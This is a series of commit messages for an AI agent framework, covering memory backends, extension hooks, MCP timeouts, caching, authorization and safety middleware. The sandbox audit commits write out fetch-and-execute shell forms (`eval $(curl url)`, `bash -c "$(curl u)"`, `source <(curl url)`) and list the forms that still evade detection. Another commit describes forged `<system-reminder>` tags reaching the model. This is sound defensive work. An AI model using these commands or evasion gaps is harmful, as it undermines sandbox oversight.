* feat(memory): honcho backend config parsing
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* feat(memory): honcho v3 http client
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* feat(memory): honcho memory manager (workspace-per-user, fail-closed identity, async offload)
- HonchoMemoryManager implements the MemoryManager contract (add/get_context/
search/get_memory/shutdown_flush + aadd/aget_context/asearch offloaded via
asyncio.to_thread), signatures verified against manager.py's tier-1/tier-2/
async abstracts.
- Workspace resolution: workspace_overrides[user_id] else
workspace_prefix + sanitize_id(user_id); missing/empty user_id fails closed
(no-op write, empty read) rather than falling back to a shared workspace.
User peer: user_peer_overrides[user_id] else sanitize_id(user_id).
- get_context self-truncates to max_injection_chars and raises
MemoryManagerError only under failure_policy.read=fail_closed; default is
log-and-return "".
- Restore backends/honcho/__init__.py to the noop direct-import convention
(MANAGER_CLASS = HonchoMemoryManager) now that honcho_manager.py exists,
replacing Task 10's temporary lazy __getattr__ scaffold.
- Fix Task 10 deferred docstring minor: sanitize_id docstring now states the
grammar allows up to 100 chars while this helper caps at 64.
- 19 new tests appended to test_honcho_memory_backend.py (write/read/async/
lifecycle/factory-discovery); 27/27 pass. Verified end-to-end that
manager.py's drop-in backend scanner resolves "honcho" with no core edits.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(memory): collision-resistant identity derivation, exception containment, passive-writes flag
Task review findings (2 Critical + 1 Important), all fixed in the same worktree:
- CRITICAL (cross-user bleed): sanitize_id is lossy -- "user.name@example.com"
and "user-name@example.com" both sanitized to the same string, merging two
users' memory into one workspace/peer. Add _stable_id() (sanitize_id output
+ 8-hex-char SHA-256 suffix of the raw id) and use it on the default
(non-override) path in _workspace/_user_peer; workspace_overrides /
user_peer_overrides still match on the raw key, unchanged. The hash suffix
also guarantees a non-empty result for a raw id that sanitizes to "" (e.g.
"!!!"), so _user_peer can no longer return "". Documented in the manager's
isolation docstring.
- CRITICAL (exception containment): client.py's _post() called response.json()
outside the try block, so a 200 with a non-JSON body raised a bare
JSONDecodeError that would escape add() with no upstream handler. Wrap the
parse and raise HonchoRequestError (mirrors Mem0Client._request). Broadened
the manager's four boundary excepts from `except HonchoRequestError` to
`except Exception` (mirrors openviking_manager.py's broad-guard precedent),
with `except MemoryManagerError: raise` first so a contract error is never
swallowed or double-wrapped.
- IMPORTANT: added requires_passive_writes_in_tool_mode: ClassVar[bool] = True
-- Honcho's only write path is passive add() (no fact CRUD hooks), so tool
mode must keep MemoryMiddleware writes flowing to the deriver. Mirrors
mem0_manager.py's identical flag/rationale.
Minors addressed: get_memory(user_id=None) empty-shape-with-no-calls test;
empty-string user_id tests for add()/get_context(); dedicated collision test
proving two colliding raw ids resolve to different workspaces/peers.
10 new tests (37/37 total pass); RED verified by stashing only the
implementation files (tests import the not-yet-existing _stable_id, so the
whole module fails to collect) before restoring the fix.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* test(memory): blocking-io anchor for honcho backend; docs + config example
- Adds test_honcho_memory_backend.py in tests/blocking_io/ with fake-client blocking IO
- Mirrors openviking anchor structure and conftest conventions
- Updates backends/README.md with honcho row and config keys section
- Updates config.example.yaml with honcho commented block
- Updates backend/AGENTS.md with honcho memory backend bullet
- Documents workspace resolution (prefix + collision-resistant sanitized id)
- Documents tool mode passive write retention via MemoryMiddleware
- Documents async entrypoint offloading via asyncio.to_thread
- Documents fail_closed vs fail_open recall failure policy
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(memory): wire close() to shutdown hook; correct honcho README defaults and tool-mode note
- HonchoMemoryManager.close() releases the HTTP client, mirroring
mem0_manager.py's pattern and the base MemoryManager.close() shutdown hook.
- README: fix workspace_prefix (deerflow-u-), message_char_limit (8000),
max_injection_chars (6000), and base_url (default http://localhost:8000,
not required) against backends/honcho/config.py; add missing
timeout_seconds/connect_timeout_seconds rows; replace the "middleware
mode only" claim with wording matching reality (tool mode supported,
search implemented, passive writes retained via MemoryMiddleware).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(memory): honor failure_policy.read on all honcho recall paths; review nits
Addresses PR #4730 review feedback:
- search() and get_memory() now route through a _read_or_fallback policy
gate (mem0's pattern), so failure_policy.read: fail_closed raises
MemoryManagerError on every recall path as documented; get_context()
uses the same helper, preventing future drift.
- Session ids use the collision-resistant _stable_id derivation; bare
sanitize_id would merge threads like "t.1"/"t-1" into one session.
- HonchoClient accepts a transport kwarg (Mem0Client precedent) so tests
inject httpx.MockTransport through the constructor.
- Config: empty/null workspace/peer override values fail fast at parse
time instead of silently falling through to the default derivation.
- _UTC_NOW_FIELDS 1-tuple replaced by a plain _UTC_NOW_FORMAT constant.
- README: user_peer_overrides row described the wrong target (it
overrides the user's own peer, not assistant_peer); document the
non-empty constraint on override values.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* docs(memory): qualify honcho isolation claim for shared workspace_overrides
The module docstring claimed users cannot see each other's memory by
construction, unconditionally. That holds for the default
one-workspace-per-user derivation, but a workspace_overrides entry mapping
several users to one workspace shares that workspace's search index:
search() uses Honcho's workspace-scoped /search (no peer filter), while
get_context()/get_memory() stay peer-scoped via working_representation.
State the asymmetry in the docstring, the README Workspace Resolution
section, and the workspace_overrides table row.
Docs-only; no behavior change (review follow-up on #4730).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Admission derived the live-entry count as `HLEN - 3`, where 3 was the number
of `meta:*` fields written 35 lines earlier in initialize(). Nothing tied the
two together, so adding a fourth meta field would shift the capacity ceiling
by one.
Name the offset `META_FIELD_COUNT` next to initialize(), and add a guard test
asserting a freshly initialized ledger holds exactly those three fields, plus
one pinning that a hard_limit of N admits exactly N reservations.
References #4575
Co-authored-by: icn5381 <255778606+icn5381@users.noreply.github.com>
* feat(extensions): observe task lifecycle and system model calls
PR 1 (#4636) gave extensions a middleware chain, and a middleware only sees
what passes through the agent graph. Two runtime surfaces stay invisible to
it: when a lead run or a subagent begins and ends, and the DeerFlow-owned
model calls made outside the graph. This slice adds both, with no new
Gateway surface -- routers, services, and the reference extension stay in
PR 3.
Contract (deerflow-extension-api 0.1.1)
---------------------------------------
Two contribution kinds join `middlewares` on the registry:
`task_lifecycle` (`on_task_start` / `on_task_stop`, receiving a `TaskInfo`
and a conservative `TaskOutcome` of completed / aborted / failed) and
`system_model_observer` (`on_system_model_call`, receiving a
`SystemOperationKind`, a `SystemModelRequest` snapshot, and a
`SystemModelResult` carrying either the response or the provider exception
plus a duration).
`SystemModelRequest.messages` normalizes to a tuple at construction. Goal
evaluation and memory extraction pass a message list while title generation
and summarization pass one prompt string, and a bare `str` already satisfies
`Sequence` -- without normalization an observer iterating `request.messages`
would silently walk characters. Copying also makes the frozen snapshot
immutable in fact rather than only by declaration, since observations may run
after the call site returns and keeps mutating its own list.
Registry marks and rollbacks become per-bucket and positional, so an
`install()` that fails after registering two different kinds cannot leave one
of them behind. `needs_task_store` now covers all three kinds: a deployment
that registers only lifecycle hooks still gets a task store.
Task lifecycle
--------------
The lead worker notifies start after the run has started and stop after
completion persistence and the completion hook, but before clearing the
finalizing barrier and publishing the stream end -- holding the barrier
across stop is what keeps a same-thread replacement run from overlapping this
task's lifecycle. Cancellation raised out of the stop notification is
deferred, not propagated in place, so a cancelled run still clears the
barrier and emits its end frame. A subagent with a parent `run_id` wraps its
execution in the same pair inside `finally`, reporting `parent_task_id` so a
delegation tree is reconstructable; a subagent without a `run_id` (embedded
client, standalone LangGraph Server) logs and skips rather than inventing a
parent. Contributors run in registration order inside one shared 3s budget
and every failure is logged and failed open.
System model calls
------------------
Four kinds cover the model calls the middleware chain cannot see: goal
evaluation, memory extraction, title generation, and summarization. Each site
reports both terminal paths without changing the provider exception the host
observes, short-circuits on `has_system_model_observers`, and passes the live
task store when the runtime has one (detached work gets an isolated store).
The sync summarization half stays unobserved on purpose -- it and its only
host caller are the sync side of an async-only runtime, so notifying there
would block a thread on a call site the host never reaches; the reason is
recorded at the call site.
The DeerMem backend must stay vendorable and cannot import the extension API,
so it reports through a new `MemoryCallbacks.on_memory_llm_result` host hook
that the DeerFlow-side callbacks translate into an observation.
Notification loop
-----------------
Extension resources must be touched on the loop that created them, but
subagents can execute on isolated loops and DeerMem runs on a worker thread.
The Gateway registers its serving loop before any runtime dependency starts
and resets it last through the exit stack, so every startup-failure and
cancellation path is covered. Awaited hooks raised on another loop are
dispatched across with `run_coroutine_threadsafe` and awaited under the same
budget; synchronous sites submit fire-and-forget work. Shutdown stops
accepting detached observations before the memory flush -- that flush runs on
a worker thread and can emit memory observations -- while keeping the loop
alive for awaited task hooks until run and subagent drain completes.
Tests
-----
`test_extension_task_lifecycle.py`, `test_extension_subagent_lifecycle.py`,
and `test_extension_system_model_calls.py` cover ordering, fail-open, budget
exhaustion, snapshot binding under a concurrent singleton replacement, the
loop-dispatch and shutdown-suspension paths, and both terminal paths at every
call site. `test_gateway_run_drain_shutdown.py` pins the stop-before-barrier
and drain ordering.
* fix(extensions): decide notification fail-open by origin, observe cancellation
`_notify_each` only guarded `Exception`, so a contributor letting a
`CancelledError` escape — an extension implementing an internal timeout with
cancellation, say — skipped its successors and reached the worker's
deferred-interrupt path, ending an otherwise successful run as cancelled.
Fail-open is about where a failure came from, not its base class: only a
genuine cancellation of the host task increments `Task.cancelling()`, so
propagate on that and contain everything else. `KeyboardInterrupt` /
`SystemExit` still propagate.
`observe_system_model_call` skipped observers on cancellation for the same
base-class reason, leaving goal / title / summarization silent on a terminal
path that is routine — interrupt/rollback admission and shutdown both cancel
the run task, with the provider tokens already spent. Awaiting observers there
is unreliable (a repeated cancel interrupts that await before any of them
runs), so report through the same non-blocking submission the synchronous
memory bridge uses, then propagate the cancellation untouched.
DeerMem keeps `BaseException` around its provider call, now with the reason
recorded: that path runs on a worker thread, where cancelling the awaiting
side never interrupts the running thread, so `CancelledError` cannot arrive
at all. Its host-hook wrapper narrows to `Exception` — only the hook's own
failures are non-fatal, and an observability path must not swallow a process
teardown signal.
* fix(extensions): warn on budget exhaustion, scope observer logs by task, propagate teardown
Review response on #4684:
- The memory observation bridge caught BaseException, which would swallow
a teardown signal raised while dispatching; it now catches Exception,
matching the boundary the DeerMem-side call site documents and tests.
- A notification-budget timeout raised mid-hook fell into the generic
hook-failure path and logged an asyncio-internal traceback; it now logs
a warning like the pre-hook budget skip, while a TimeoutError a
contributor raises on its own stays classified as a hook failure.
- System model observer logs passed the operation kind as the task id,
so log lines said "task goal/title/..."; they now carry the task
scope id alongside the kind.
DanglingToolCallMiddleware._message_tool_calls collected the raw
additional_kwargs tool_calls payload whenever structured tool_calls was
empty, even when invalid_tool_calls was non-empty. The raw payload is a
fallback serialization of the SAME calls — the OpenAI serializer reaches
for it only once both structured views are empty, which is exactly the
gating _normalize_tool_call_ids documents and implements. Collecting it
alongside a same-id invalid entry counted the call twice and emitted two
placeholder ToolMessages for one id — the duplicate-id shape strict
OpenAI-compatible providers reject with HTTP 400, the failure this
middleware exists to prevent.
Gate the raw collection on both structured views being empty, aligning
_message_tool_calls with _normalize_tool_call_ids.
* feat(mcp): add durable task runtime foundation
* fix(chart): sync embedded config version
* fix(mcp): isolate task polls during shutdown
* feat(mcp): track consecutive poll errors on mcp_tasks
poll_attempt_count grows on every claim (successful polls included), so it
cannot drive a failure backoff without misjudging normal long tasks. Add
consecutive_poll_error_count: incremented when a claim is released after a
poll error, reset to zero by any applied snapshot. The backoff/terminal
policy that consumes it lands with the first concrete driver.
* fix(mcp): harden durable task lifecycle
* fix(mcp): preserve tracked task on dedup conflict
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix: bound MCP server bring-up timeouts and exclude externalized tool outputs from delivery verification
Two related robustness fixes:
1. MCP server bring-up was unbounded. tool_call_timeout only covered
session.call_tool(); tool discovery (subprocess spawn + initialize +
tools/list) and persistent stdio session initialization could hang
forever, blocking agent construction (and on the Gateway event loop,
the whole process). Add a per-server session_init_timeout
(default DEFAULT_MCP_SESSION_INIT_TIMEOUT = 60s, null disables) that
bounds both discovery and pooled-session initialization. The session
pool's existing cancellation handling tears down a session stuck
mid-creation in its own task.
2. ToolOutputBudgetMiddleware externalizes oversized tool outputs into
outputs/.tool-results/ (configurable tool_output.storage_subdir). The
workspace-change scanner and run delivery verification counted those
files as produced artifacts, so any run that externalized a tool output
without also presenting a real artifact failed with
"Artifact delivery incomplete". Exclude TOOL_RESULTS_DIRNAME via a
shared constant (mirroring BROWSER_FRAMES_DIRNAME) and thread the
configured storage_subdir through snapshot capture so both
workspace-changes events and delivery verification stay clean.
* review: enforce single-segment tool_output.storage_subdir; document discovery-timeout cleanup
Address review feedback:
1. A custom tool_output.storage_subdir with a path separator (e.g.
cache/tool-results) silently no-oped the workspace-scanner exclusion:
os.walk yields one-segment dirnames, so a nested value never matched and
its files were counted as produced artifacts again. ToolOutputConfig now
validates storage_subdir as a single directory name (rejects separators,
.., absolute, empty) with tests, so the exclusion is always sound.
2. The discovery-timeout path now documents why cancellation is safe, mirroring
the session-init note: discovery runs inside the adapter's nested async
context managers, and stdio_client's finally terminates the process tree
(SIGTERM->SIGKILL on POSIX, process-tree on Windows), so a timed-out npx
subprocess and its children are reaped rather than accumulating.
* review: log session-init timeouts and align API response model default with runtime config
Address second-round review feedback:
1. A session-init timeout raised TimeoutError without any log, unlike the
discovery timeout which logs a WARNING. Wrap the bounded get_session in a
try/except that logs the timeout (server name + seconds) and re-raises, so
operators can diagnose tool-call failures caused by hung MCP sessions.
2. McpServerConfigResponse.session_init_timeout defaulted to None while
McpServerConfig defaults to 60s: a server created via PUT /api/mcp/config
without the field was persisted with null (no timeout) while the same
server created in the config file got 60s. Align the response-model default
to DEFAULT_MCP_SESSION_INIT_TIMEOUT so API-created and file-created servers
behave the same; an explicit null still opts out.
* review: narrow the discovery-timeout handler to the bounded wait_for path
The except TimeoutError clause covered both the bounded wait_for branch and
the bare discovery branch. With session_init_timeout opted out (None), a
TimeoutError raised by discovery itself would hit the %.1f format with None:
logging raises TypeError internally, the WARNING is silently dropped, and a
--- Logging error --- traceback goes to stderr.
Narrow the handler to wrap only the wait_for call, where the branch condition
guarantees the timeout value is not None. A discovery-internal TimeoutError on
the opted-out path now falls through to the generic failure handler and is
reported as 'tool discovery failed' with exc_info. Covered by a regression
test that asserts the skip is reported without any broken format.
* feat(channels): add Buzz (Nostr) channel connector
Adds a Buzz (https://github.com/block/buzz) channel so DeerFlow can join a
Nostr-relay workspace as a member: it answers @mentions in channels, replies
to DMs, and streams answers by editing one message in place.
* app/channels/buzz_nostr.py — pure NIP-01 helpers: canonical event ids,
BIP-340 signing/verification, chat/edit/auth builders, relay frames.
* app/channels/buzz.py — BuzzChannel: one NIP-42-authenticated websocket,
channel discovery (kind 39000) with one subscription per channel, live
membership tracking (44100/44101), per-channel replay watermarks, and
replies posted once then edited in place (kind 40003).
* app/channels/buzz_run_policy.py — same-thread serialization, mirroring
the Feishu precedent.
Inbound is gated in order: signature verification, self-drop, /connect
bind-and-return, pubkey allowlist, then mention / DM / mention-free /
thread-follow. Off by default; needs the new optional `buzz` extra
(coincurve, lazily imported), which detect_uv_extras resolves from
channels.buzz.enabled the same way it already handles channels.discord.
Two relay behaviours drove the design and are worth knowing when reviewing:
a global {"kinds":[9]} subscription receives nothing from buzz-relay and a
multi-value "#h" filter receives nothing either, so one REQ per channel is
required; and a single global `since` cursor skips quiet channels, so
watermarks are per channel.
Signed-off-by: Ajay R <ajayr@formbuddy.com>
* fix(channels): only publish assistant messages from the IM stream
`_accumulate_stream_text` decided what streamed `messages-tuple` payloads
become displayable text by rejecting ONLY payloads whose `type` contained
"tool", so it published everything else. DeerFlow writes hidden model
context into the messages channel as ordinary messages -- memory recall and
the rewritten user turn as hidden HumanMessages (DynamicContextMiddleware),
the `<durable_context_data>` block as another (DurableContextMiddleware) --
and LangGraph fans those state writes out on the messages stream, so they
reached every streaming IM channel as the assistant's reply.
Proved live on a Buzz relay: the connector published a `<memory>` fact block
and, in another run, a verbatim echo of the user's own inbound message.
Affects Feishu, Telegram, WeCom and Buzz; worst on Buzz, where each update
is an immutable public Nostr event that a corrective edit cannot unpublish.
Invert the filter to an allowlist of assistant message types. Two new pure
helpers keep it testable:
- `_stream_payload_type` resolves the type from both shapes the function
already handles: the `model_dump()` shape the gateway emits, and
LangChain's `to_json()` constructor shape whose own `type` is the literal
"constructor" and whose class name is the tail of the `id` path.
- `_is_assistant_stream_type` matches "ai"/"assistant" by PREFIX, not
substring -- ordinary words contain "ai" ("chain", "domain"), and a
substring test would admit a foreign type name by accident.
The bare-`str` branch is removed: an untyped payload cannot be attributed to
the assistant, nothing in DeerFlow produces one (serialize_messages_tuple
always emits `[message_dict, metadata]`), and a runtime that emitted raw text
deltas would emit hidden context the same way. Per-message-id buffering and
merging are unchanged.
Tests pin both directions, including multi-chunk merging across one message
id, so the allowlist cannot silently kill streaming, plus an end-to-end
`_handle_streaming_chat` test asserting the live payload never reaches an
outbound message.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Signed-off-by: Ajay R <ajayr@formbuddy.com>
* chore(helm): bump config_version to 33 in chart values and README
config.example.yaml moved to 33 for the buzz channel block; the chart's
embedded config example and its README copy track it (config_version only
drives the outdated-config warning, per scripts/check_config_version.sh).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Signed-off-by: Ajay R <ajayr@formbuddy.com>
---------
Signed-off-by: Ajay R <ajayr@formbuddy.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
InputSanitizationMiddleware's text extraction only collected dict blocks
with type == "text", so a HumanMessage whose content list carried a bare
str item (a shape message_content_to_text treats as text and some IM/SDK
clients send) yielded no text at all — the request passed through
unwrapped and unescaped, letting forged framework tags (<system-reminder>
etc.) reach the model untouched. The sibling rfind-fallback path in
_process_request already neutralized bare strings individually, and both
ToolResultSanitizationMiddleware and ToolOutputBudgetMiddleware treat
bare strings as text; the extraction helper was the odd one out.
Collect bare string blocks alongside text-block dicts (skipping empty
items, matching message_content_to_text), merging them into the single
sanitized text block on rebuild while interleaved non-text blocks keep
their positions.
* feat(extensions): add middleware plugin foundation
* fix(extensions): stop config resolution from masking extension loading
`create_app()` resolved the configured plugin list inside the fail-open
guard around `load_extensions()`. CI has no `config.yaml` (gitignored and
never generated by the workflow), so `get_app_config()` raised
`FileNotFoundError` there and was swallowed as an extension failure --
`load_extensions()` never ran at all, and the four `create_app()` tests in
`test_extension_app_loading.py` passed locally but failed on every runner.
Resolve the plugin list before the guard. Only an absent `config.yaml` is
tolerated, mirroring `_resolve_trace_enabled_for_app_construction()`:
`create_app()` runs at import time, and lifespan still performs strict
config loading before serving. A `config.yaml` that exists but fails to
parse or validate now propagates instead of being reported as an extension
failure -- reporting it as the latter silently dropped a `required: true`
extension rather than failing the boot.
Make the tests config-independent with an autouse `stub_app_config`
fixture, following the existing pattern in `test_gateway_lifespan_shutdown.py`,
and cover both new branches of the config-resolution boundary.
* fix(extensions): bind the run's extension snapshot through subagent delegation
The lead-agent path resolves one immutable loaded-extension snapshot per run
and binds it through task-store allocation and graph construction, but the
subagent path re-read the process-wide singleton at execution time. In
production both are the same object, yet a `set_loaded_extensions()` between
the lead run's start and a subagent's execution (test teardown, a future
hot-reload path) would let one run mix two extension generations — exactly what
the documented invariant exists to prevent.
The graph-build binding is a ContextVar scoped to synchronous construction, so
it has already exited by the time a tool delegates; the snapshot has to travel
through runtime context instead. The run worker publishes it under the
host-internal `EXTENSION_SNAPSHOT_CONTEXT_KEY` (written after the caller merge,
popped when the run has none, so a caller-supplied value is never
authoritative), `task_tool` reads it back through the type-checking
`resolve_run_extensions()`, and `SubagentExecutor` binds it at construction.
Callers outside the Gateway run path — embedded `DeerFlowClient`, standalone
LangGraph Server — install no snapshot and keep the existing
`get_loaded_extensions()` fallback.
* refactor(extensions): defer the ordering table by call, not by a lying tuple
`CORE_ORDERING_CONSTRAINTS` was a `tuple` subclass that overrode only
`__iter__` and resolved into a class-level `_resolved` side channel. A tuple
cannot populate its own storage after construction, so the instance stayed the
empty tuple it was built as: `len()` was 0, `bool()` was False, `in` was always
False, indexing raised, slicing and `reversed()` came back empty, and it
compared unequal to the plain tuples tests substitute for it — all while
iteration yielded the real constraints. Only `assert_ordering` consumed it, and
only by iterating, so the split went unnoticed.
The sibling `_AnchorTable(dict)` uses the same idea soundly because dict is
mutable: `self.update()` fills the real storage, making every inherited
operation correct. That trick does not survive the port to an immutable type.
Replace it with `core_ordering_constraints()`, matching how `stack.py` defers
the same kind of table via `_anchors()`. The deferral is kept — it is about
dependency direction, not just cycles: `extensions/` is the layer the
middleware layer calls into, so a module-scope `agents.middlewares` import here
points the dependency backwards and closes a cycle as soon as any middleware
imports something under `extensions/` at module level. Resolution stays at
`assert_ordering` time, which already runs inside the middleware builder.
Tests pin both halves: the returned value is a plain tuple whose len/bool/
membership/indexing/reversal/equality agree with iteration, and a subprocess
probe asserts importing `extensions.ordering` does not load the middleware
layer while calling the function does.
The instance-client signal is a one-level lexical-scope analysis, and issue #4296
enumerates the cases it deliberately does not report. Four of them were only
described in prose: a handle reached through a container item, a factory return, a
locally aliased constructor, or a dynamic getattr, plus sinks invoked as anything
other than name.method(...).
Pin them in test_python_declared_false_negatives_stay_unreported alongside the cases
already covered, so each is asserted against the runtime oracle -- the client really
is called and the scanner really is silent -- rather than assumed. Re-widening or
narrowing the model now has to change this test.
No behaviour change.
* feat(checkpoint-cache): delta-mode checkpoint history cache with recursive compose
Read-only, invalidation-free cache for LangGraph delta-channel history
({writes, seed}) at the get_delta_channel_history choke point:
- database.checkpoint_cache config (memory|redis; max_entries 0=disabled;
redis bounded by TTL, Gateway/async only)
- memory LRU backend (copy-on-read, zero-serde hit path) and redis backend
(lazy import, degrades to all-miss on outage)
- CachedHistorySaver: recursive composition from the nearest warm ancestor
(depth budget 8), caching each level; depth-0 cold chains delegate one
inner fast-path walk. Entries keyed by immutable
(db, thread, ns, checkpoint_id, channel) — no invalidation, coherent
across workers
- provider wiring: wraps in delta mode only (async + sync), full mode
untouched; sync path is memory-only
- bench opt-in: DEERFLOW_CHECKPOINT_BENCH_HISTORY_CACHE=1
sqlite bench (500 updates, payload 2KB): write phase 2.28x at f=250,
1.32x at f=10; one delegated walk per thread cold start.
* chore(config): bump config_version to 32 for database.checkpoint_cache
The checkpoint history cache feature added the database.checkpoint_cache
section to config.example.yaml; bump the schema version so existing
deployments get the outdated-config warning and can run make config-upgrade.
* chore(helm): bump config_version to 32 in chart values and README
* fix(checkpoint-cache): purge thread history entries on delete paths
Addresses review on #4638: delete_thread/prune removed source-of-truth
checkpoints but left the thread's materialized history payloads in the
cache (memory: until LRU eviction; redis: until TTL, default 1 day) — a
data-lifecycle gap for tenant offboarding / GDPR-style erasure.
- Cache contract gains thread-scoped adelete_thread/delete_thread
(lifecycle purge, not invalidation; entries remain immutable)
- Memory backend: stem scan over the LRU map; redis: SCAN MATCH + UNLINK,
outage degrades to TTL-bounded retention without raising
- CachedHistorySaver purges on delete_thread/adelete_thread and
prune/aprune (prune rewrites chains, so pre-prune histories must go);
delete_for_runs stays delegation-only (run->thread mapping unavailable,
no in-tree callers), documented in code
- ttl_seconds description documents the residual-retention window
- Tests: thread-scoped purge on both backends, saver-level delete/prune
purge, prefix-safety (t1 vs t10), redis outage degradation, and the
pinned no-purge behavior of delete_for_runs
* fix(checkpoint-cache): stable db identity, prefix-aware sync singleton, explicit zero TTL
Addresses Copilot review on #4638:
- checkpoint_cache_db_hash now hashes the credential-free postgres
identity (host:port/database + schema): credential rotation no longer
changes the cache namespace (cold cache + orphaned keys until TTL).
Unparseable URLs fall back to the raw string.
- The sync-path memory cache singleton is also keyed by its key_prefix:
a namespace change (db identity change or operator override) recreates
the cache instead of leaving stale-prefix entries unreachable and
unpurgeable.
- ttl_seconds=0 is now an explicit, documented opt-out of redis expiry
(SET without EX; redis maxmemory policy only) instead of a silent
'ttl_seconds or None' coercion.
Tests: credential-rotation hash stability, unparseable-URL fallback,
prefix-change singleton recreation, same-prefix singleton reuse, and
zero-TTL wire behavior (ex=None).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(authz): enforce model authorization at Gateway routes and runtime (#4063 Phase 3)
Phase 3 / Models — the first of three resource-type PRs (Models, Skills,
Sandbox). The RBAC provider already maps "model" → config key "models"
(rbac.py _RESOURCE_POLICY_KEYS), so no schema change is needed.
Gateway route layer (mirrors Phase 2A):
- resolve_model_authorization() in authz.py returns (provider, principal),
reusing _get_cached_route_provider and build_principal_from_context,
including the INTERNAL_SYSTEM_ROLE → None pop for internal callers.
- list_models filters via provider.filter_resources(principal, "model", names).
- get_model checks provider.authorize("model", "use"). Deny → 403 (not 404,
since the model exists but the role lacks permission).
Runtime resolution layer (mirrors Phase 1B):
- _authorize_model_name() in agent.py runs after _resolve_model_name. On deny,
falls back to the first allowed model (RFC §9: graceful, not crash). All
models denied + fail_closed → ValueError (matches existing contract).
authorization.enabled: false is a complete no-op on both layers. Anonymous
requests (user=None) bypass filtering. 18 new tests + 314 existing tests pass.
* fix(authz): enforce model:use on the embedded DeerFlowClient path (Phase 3 follow-up)
Round 4 review (willem-bd): _authorize_model_name only covered the Gateway
runtime path (_make_lead_agent). The parallel lead-agent construction path
DeerFlowClient._ensure_agent (client.py) filtered tools but not the model,
so a library/embedded consumer with role-scoped model policies could run a
model the role is denied model:use for.
- Insert _authorize_model_name in _ensure_agent, mirroring _make_lead_agent.
- Resolve None default to the first configured model before the gate so the
implicit default (create_chat_model(name=None)) is also authorized.
- Update test_authorization_filters_framework_tools_and_reuses_provider: the
stub provider now returns an allow decision for model:use (checked during
assembly) and patches resolve_authorization_provider in the agent namespace.
- Add 3 DeerFlowClient._ensure_agent path tests (real-path fallback,
None-default resolution, disabled no-op); 24 tests total.
* docs(authz): document get_model provider-unavailable fail-open path + test
zhfeng review (round 5): get_model's docstring only mentioned the deny→403
path, not the provider-resolution-error + fail-open path (which allows the
request, mirroring list_models's documented fail-open semantics). The
behavior itself is correct and symmetric with list_models, but it was
undocumented and the _AuthorizationUnavailable path had no test coverage.
- Extend get_model docstring to state the provider-error fail-closed/fail-open
outcome, matching list_models's wording.
- Add test_get_model_provider_unavailable_fail_closed_vs_open exercising the
_AuthorizationUnavailable path (provider cannot be resolved at all), pinning
fail-closed→403 / fail-open→200.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): judge command substitution by position in audit middleware
SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).
Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.
Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.
Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.
Fixes#4611
* fix(sandbox): keep assignment/wrapper prefixes in command position
Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.
`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.
Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.
* fix(sandbox): treat interpreter code-string flags as execution context
Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:
bash|sh|dash|ksh|zsh -c "$(curl u)" python|perl|ruby|node|php -c/-e/-p/-r
bash <<< "$(curl u)" xargs sh -c "$(curl u)"
Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.
Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.
Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.
